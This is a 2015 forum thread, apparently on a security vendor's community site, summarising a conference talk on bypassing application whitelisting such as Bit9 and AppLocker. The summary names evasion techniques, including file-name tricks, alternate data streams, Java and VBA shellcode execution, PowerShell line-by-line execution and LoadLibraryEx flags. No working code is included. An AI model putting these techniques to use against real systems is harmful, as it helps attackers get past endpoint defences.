2 Replies Latest reply on May 13, 2015 10:49 AM by CALCOTEM

    Bypassing APP CONTROL


      I have a customer who is wanting to discuss an article around bypassing APP CONTROL.  Can anyone respond with bullet points relating to this?




      Foreground Security - Raising the White Flag - Bypassing Application White Listing



      • Windows File Protection - Windows XP performs file protection checks by file name. Therefore, if you change calc.exe for example to winlogon.exe and run the calculator, you will be unable to kill the process because of Windows XP's over-protection of the name. Malware authors have known this for a white. Curt found this to work, but inconsistently with Bit9 on the Windows XP testing. Windows 7 now does file protection via hash and/or digital signature.
      • File Naming Fun - The two tried a number of file name tricks to see if they could bypass checks that the developers might not have taken into consideration. They attempted things like the Right to Left Override technique, Alternate Data Streams and chaining file type associations, making .txt files executable for example.
      • Iexpress packaging - This was an old technique that used to work against App Locker. Using the iexpress packaging utility built into Windows digitally signs the external package with a trusted certificate from Microsoft. Due to not properly checking the internal executable to the package, one was able to execute code not on the approved publisher list. This technique did not work on any of the versions tested this time.
      • Java Exploits/Malware - Java was very successful in all cases. It will be very difficult for companies and agencies to get a handle on Java applications. In some situations the development of these applets are not in the control of the company or agency that utilizes them. How can they keep up on ensuring they have the latest greatest version on their whitelist. Because of this the two were able to utilize exploits in Java to execute Meterpreter payloads and they were also able to create Java applets that did such things as direct shellcode execution in memory and write out localized Javascript files that were able to execute.
      • Flash Exploits/Malware - Flash exploits and malware were successful in many of the same reasons of the Java attempts. So much on the Internet relies on Flash, therefore how will you keep a handle on it to keep your list populated with trusted code only?
      • Adobe Exploits/Malware - Adobe, much like the others mentioned above was successful due to the inherent trust of the Adobe application.
      • JavaScript - JavaScript had some inconsistency in execution. It did appear that JavaScript was blocked, especially if trying to build out an executable file or local script. Chris discussed some capabilities of using this technique in things such as Chrome or Firefox extensions and addons. In that way, the script would be executed with local privileges, making it successful.
      • VBA - VBA was another case where there was inconsistent results. Curt was able to execute direct shellcode from VBA built into a Microsoft Office document. The examples he utilized were from work by Dider Stevens and @scriptjunkie1. Utilizing direct Shellcode execution, it was pretty easy to get shell.
      • Raw Shellcode - Raw shellcode was something that was able to be used not only in the VBA scenario, they were able to utilize shellcodeexec to allocate memory space to inject code into.
      • Powershell - Chris did a good bit of testing with Powershell. The interesting thing with it is that by default, this is blocked. However utilizing the Get-Content keyword, Chris was able to read in content from another file line by line and execute PowerShell code line by line.
      • LoadLibraryEx - Chris found that research done by Didier Stevens on two functions of this API allow someone to just tell App Locker "these are not the droids your looking for". LOAD_IGNORE_CODE_AUTHZ_LEVEL and SANDBOX_INERT allow for this functionality. This didn't work in all cases by it will work on default App Locker installations. Microsoft does have a hotfix, but this is not built into the utility yet.